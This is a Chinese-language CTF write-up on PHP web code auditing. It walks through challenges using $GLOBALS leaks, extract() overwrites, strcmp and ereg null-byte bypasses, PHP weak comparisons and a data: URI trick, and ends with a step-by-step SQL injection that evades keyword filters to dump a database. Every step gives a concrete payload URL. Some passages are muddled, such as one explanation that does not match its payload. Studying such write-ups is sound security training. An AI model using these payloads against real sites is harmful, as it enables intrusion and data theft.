CTF web 代码审计
概念
代码审计就是通过阅读程序的源代码,去发现一些潜在的问题,比如说代码不规范,算法性能不够,代码重用性不强,实现不够优雅以及其它的缺陷等等.
从安全人员的角度来看,偏向于查找代码中的是否存在安全问题.比如通过阅读代码,推断出用户在操作这个代码对应的功能的时候,是否能跳出开发人员设想的场景和逻辑,去给网站数据或者服务器造成危害.

1.题目地址:http://123.206.87.240:8004/index1.php

eval()函数存在命令执行漏洞 我们的目标是查看flag1.php中的flag 首先想到的是本地包含漏洞查看源码,或者上传一句话木马等思路 。而本题条件判断加了正则表达式判断,过滤了括号和引号等字符。无法构造!但输出时是$$args
我们想到构造 php中超全局变量 $GLOBALS ,PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。var_dump()函数将$GLOBALS数组中存放的所有变量以数组的方式输出 得到flag!
Payload: http://123.206.87.240:8004/index1.php?args=GLOBALS
2.题目地址:http://123.206.87.240:9009/1.php


运行结果:$a = Cat; $b = Dog; $c = Horse
加上转义符反斜杠后,php就会认为那只是个字符而已!
解题方法:
GET请求?flag=&shiyan=,extract()会将$flag和$gift的值覆盖了,将变量的值设置为空或者不存在的文件就满足$gift == $content

PAYLOAD:http://123.206.87.240:9009/1.php?flag=&shiyan=
3.题目地址:http://123.206.87.240:9009/6.php

PHP的strcmp()函数在PHP5.3版本之前使用数组可以绕过验证
strcmp()用法参考
函数期望传入的类型是字符串类型的数据,要是我们传入非字符串类型的数据的话,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 。也就是说虽然报了错,但却判定其相等了,也就绕过了判断。
PAYLOAD: http://120.24.86.145:9009/6.php?a[]=1
4.题目地址: http://123.206.87.240:9009/10.php

PHP 函数 eregi()
语法
int eregi(string pattern, string string, [array regs]);
定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
返回值
如果匹配成功返回true,否则,则返回false
PAYLOAD:
http://123.206.87.240:9009/10.php?
id=hackerD%254a
题目:ereg正则%00截断,http://123.206.87.240:9009/5.php
<?php $flag = "xxx"; if (isset ($_GET['password'])){ if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){ echo 'You password must be alphanumeric'; }else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){ if (strpos ($_GET['password'], '-') !== FALSE) { //strpos — 查找字符串首次出现的位置 die('Flag: ' . $flag); }else{ echo('- have not been found'); } }else{echo 'Invalid password'; } } ?>
Payload:http://123.206.87.240:9009/5.php?password=1e8%00*-*
题目:strpos数组绕过,http://123.206.87.240:9009/15.php
<?php $flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?>
题目:弱类型整数大小比较绕过,http://123.206.87.240:9009/22.php

PHP 有一个缺陷就是大多数的函数都没有办法去判断数组。
关于php弱类型以及绕过方式:当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整型的范围之内该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
5.题目地址:http://web.jarvisoj.com:32780/

代码审计
id:id==0典型的PHP弱比较,利用id=0a或id=0e123或id=asd均可实现绕过
b:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 这里要求:b的长度大于5,且是基于eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%0011111
此处链接一篇博客可供参考:https://blog.csdn.net/qq_31481187/article/details/60968595
a:由data进行赋值:$data = @file_get_contents($a,'r') 而又有$data=="1112 is a nice lab!" 可以利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥, 参数a使用data类型的url构造:a=data:,1112 is a nice lab!。(参考data类型的Url格式:把小数据直接嵌入到Url中)
payload:http://web.jarvisoj.com:32780/index.php?id=0a&a=data:,1112%20is%20a%20nice%20lab!&b=%0011111
得到提示Come ON!!! {/^HT2mCpcvOLf},访问/^HT2mCpcvOLf,提示hi666。且url变成了/^HT2mCpcvOLf/index.php?id=1,继续sql注入。
尝试id=2,提示:SELECT * FROM content WHERE id=2,说明和id作比较的是一个数字,而不是字符串。
尝试id=1 order by 1,提示you bad boy/girl!,发现空格被过滤了,将空格替换成/**/后,发现/**/也被过滤了,将空格替换为/*1*/,返回hi666;继续尝试,id=1/*1*/order/*1*/by/*1*/4时出现错误,说明一共三列。
尝试id=2/*1*/union/*1*/select/*1*/1,2,database()发现union和select都被替换为空了,双写即可绕过id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,database()返回test
得到表名:
id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()
//content
得到列(字段)名:
id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_schema=database()
//id,context,title
得到flag:
id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,context/*1*/frfromom/*1*/content
//PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
schema就是数据库对象的集合,所谓的数据库对象也就是常说的表,索引,视图,存储过程等
https://blog.csdn.net/qq1045553189/article/details/87481055

浙公网安备 33010602011771号